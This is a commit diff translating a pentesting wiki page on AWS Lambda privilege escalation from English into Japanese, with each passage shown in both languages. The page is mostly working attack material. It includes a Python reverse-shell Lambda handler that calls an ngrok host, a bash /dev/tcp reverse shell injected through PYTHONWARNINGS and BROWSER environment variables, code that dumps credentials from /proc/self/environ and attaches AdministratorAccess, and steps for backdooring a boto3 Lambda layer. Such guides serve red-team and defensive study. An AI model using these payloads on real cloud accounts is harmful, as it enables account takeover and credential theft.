Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:45:32 +00:00
parent ea3a11546a
commit 3c2f3f44a7
245 changed files with 9950 additions and 12671 deletions

View File

@@ -4,7 +4,7 @@
## lambda
More info about lambda in:
lambdaに関する詳細情報は以下を参照してください
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,23 +12,22 @@ More info about lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\
Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\
A attacker could abuse this to get a **rev shell and steal the token**:
**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:InvokeFunction`** 権限を持つユーザーは、特権を昇格させることができます。\
彼らは**新しいLambda関数を作成し、既存のIAMロールを割り当てることができ**、そのロールに関連付けられた権限を関数に付与します。ユーザーはその後、**このLambda関数にコードを書いてアップロードすることができます例えばrev shellを使用して**。\
関数が設定されると、ユーザーは**AWS APIを通じてLambda関数を呼び出すことで、その実行をトリガーし、意図したアクションを実行することができます**。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールによって付与されたアクセスレベルで操作することが可能になります。\\
攻撃者はこれを悪用して**rev shellを取得し、トークンを盗む**ことができます:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```
```bash
@@ -37,8 +36,8 @@ zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
@@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
You could also **abuse the lambda role permissions** from the lambda function itself.\
If the lambda role had enough permissions you could use it to grant admin rights to you:
あなたはまた、**lambda関数自体のlambdaロールの権限を悪用する**ことができます。\
もしlambdaロールに十分な権限があれば、それを使用してあなたに管理者権限を付与することができます
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda.
lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用される**ネットワーク隔離されたLambda**にとって便利です。逆シェルをフィルタリングしている未知のセキュリティグループがある場合、このコードはlambdaの出力として資格情報を直接漏洩させることを可能にします。
```python
def handler(event, context):
    sessiontoken = open('/proc/self/environ', "r").read()
    return {
        'statusCode': 200,
        'session': str(sessiontoken)
    }
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```
```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**潜在的な影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。
> [!CAUTION]
> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
> 興味深く見えるかもしれませんが、**`lambda:InvokeAsync`** **は**単独では**`aws lambda invoke-async`**を**実行することを許可しません**。`lambda:InvokeFunction`も必要です。
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`**
前のシナリオと同様に、**`lambda:AddPermission`**の権限があれば、**自分に`lambda:InvokeFunction`**の権限を**付与することができます**
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**潜在的影響:** 指定された任意のlambdaサービスロールへの直接的な権限昇格。
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
They can create a **Lambda function with malicious code and assign it an existing IAM role**.
Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role.
**`iam:PassRole`, `lambda:CreateFunction`, および `lambda:CreateEventSourceMapping`** 権限を持つユーザー(おそらく `dynamodb:PutItem` および `dynamodb:CreateTable` も含む)は、`lambda:InvokeFunction` なしでも間接的に **権限を昇格** させることができます。\
彼らは **悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てる** ことができます。
ユーザーはLambdaを直接呼び出す代わりに、既存のDynamoDBテーブルを設定または利用し、イベントソースマッピングを通じてLambdaにリンクします。この設定により、テーブルに新しいアイテムが追加されると、ユーザーのアクションまたは別のプロセスによってLambda関数が **自動的にトリガーされ**、渡されたIAMロールの権限でコードが実行されます。
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled:
もしDynamoDBがすでにAWS環境でアクティブであれば、ユーザーは**Lambda関数のイベントソースマッピングを設定するだけで済みます**。しかし、DynamoDBが使用されていない場合、ユーザーは**ストリーミングが有効な新しいテーブルを作成する必要があります**
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**:
今、**イベントソースマッピングを作成することによってLambda関数をDynamoDBテーブルに接続することが可能です**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table:
DynamoDBストリームにリンクされたLambda関数を使用して、攻撃者は**DynamoDBストリームをアクティブにすることでLambdaを間接的にトリガーすることができます**。これは、**DynamoDBテーブルにアイテムを挿入することによって実現できます**
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
--item Test={S="Random string"}
```
**Potential Impact:** Direct privesc to the lambda service role specified.
**潜在的な影響:** 指定されたlambdaサービスロールへの直接的な権限昇格。
### `lambda:AddPermission`
An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):
この権限を持つ攻撃者は**自分自身(または他の人)に任意の権限を付与することができる**(これはリソースベースのポリシーを生成してリソースへのアクセスを付与します):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -147,71 +130,62 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it.
**潜在的な影響:** コードを変更して実行する権限を付与することによって、使用されるlambdaサービスロールへの直接的な権限昇格。
### `lambda:AddLayerVersionPermission`
An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information
この権限を持つ攻撃者は**自分自身(または他の人)に`lambda:GetLayerVersion`の権限を付与することができます**。彼はレイヤーにアクセスし、脆弱性や機密情報を探すことができます。
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potential Impact:** Potential access to sensitive information.
**潜在的影響:** 機密情報への潜在的アクセス。
### `lambda:UpdateFunctionCode`
Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\
The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**.
Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.
**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。**\
攻撃者は**IAM資格情報を外部に流出させるためにLambdaのコードを変更することができます。**
攻撃者が関数を直接呼び出す能力を持っていない場合でも、Lambda関数が既に存在し稼働している場合、既存のワークフローやイベントを通じてトリガーされる可能性が高く、したがって変更されたコードの実行を間接的に促進することになります。
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potential Impact:** Direct privesc to the lambda service role used.
**潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。
### `lambda:UpdateFunctionConfiguration`
#### RCE via env variables
With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:
#### 環境変数を介したRCE
この権限を持つことで、Lambdaが任意のコードを実行する原因となる環境変数を追加することが可能です。例えば、Pythonでは環境変数`PYTHONWARNING`と`BROWSER`を悪用して、Pythonプロセスが任意のコマンドを実行することができます
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:
他のスクリプト言語には、使用できる他の環境変数があります。詳細については、以下のリンクのスクリプト言語のサブセクションを確認してください。
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
{{#endref}}
#### RCE via Lambda Layers
#### Lambdaレイヤーを介したRCE
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
Inside lambda you can check the paths from where python code is loaded with a function like the following:
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)は、**コード**をラムダ関数に含めることを可能にしますが、**別々に保存する**ため、関数コードは小さく保たれ、**複数の関数がコードを共有**できます。
ラムダ内では、次のような関数を使用して、Pythonコードが読み込まれるパスを確認できます。
```python
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
print(json.dumps(sys.path, indent=2))
```
These are the places:
これらは場所です:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -224,73 +198,61 @@ These are the places:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
例えば、ライブラリboto3は`/var/runtime/boto3`4番目の位置から読み込まれます。
#### Exploitation
#### 悪用
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
`lambda:UpdateFunctionConfiguration`の権限を悪用して、**新しいレイヤーを**lambda関数に**追加する**ことが可能です。任意のコードを実行するには、このレイヤーに**lambdaがインポートするライブラリを含める必要があります。lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、lambdaが**すでにレイヤーを使用している**可能性があり、そのレイヤーを**ダウンロード**して**あなたのコードを追加**することができるかもしれません。
例えば、lambdaがライブラリboto3を使用していると仮定すると、これはライブラリの最新バージョンを持つローカルレイヤーを作成します
```bash
pip3 install -t ./lambda_layer boto3
```
`./lambda_layer/boto3/__init__.py` を開き、**グローバルコードにバックドアを追加**します(例えば、資格情報を外部に送信する関数やリバースシェルを取得する関数など)。
You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).
Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
次に、その `./lambda_layer` ディレクトリを zip し、**新しいラムダレイヤーを**自分のアカウント(または被害者のアカウント)に**アップロード**しますが、これには権限がないかもしれません。\
また、/opt/python/boto3 を上書きするために、python フォルダを作成し、ライブラリをそこに置く必要があります。また、レイヤーはラムダで使用される**Pythonバージョンと互換性がある必要があります**。アカウントにアップロードする場合は、**同じリージョン**にある必要があります。
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Now, make the uploaded lambda layer **accessible by any account**:
今、アップロードしたラムダレイヤーを**任意のアカウントからアクセス可能にします**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
And attach the lambda layer to the victim lambda function:
そして、被害者のlambda関数にlambdaレイヤーを添付します
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
次のステップは、**関数を自分で呼び出す**か、通常の手段で**呼び出されるのを待つ**ことです。これはより安全な方法です。
The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal meanswhich is the safer method.
A **more stealth way to exploit this vulnerability** can be found in:
**この脆弱性を利用するためのよりステルスな方法**は以下にあります:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potential Impact:** Direct privesc to the lambda service role used.
**潜在的な影響:** 使用されるlambdaサービスロールへの直接的な権限昇格。
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!
これらの権限があれば、関数を作成し、URLを呼び出して実行できるかもしれません... しかし、テストする方法を見つけられなかったので、もし見つけたら教えてください!
### Lambda MitM
Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
いくつかのラムダは、**ユーザーからのパラメータで機密情報を受け取ることになります。** そのうちの1つでRCEを取得できれば、他のユーザーが送信している情報を抽出できます。詳細は以下を確認してください
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## References
## 参考文献
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}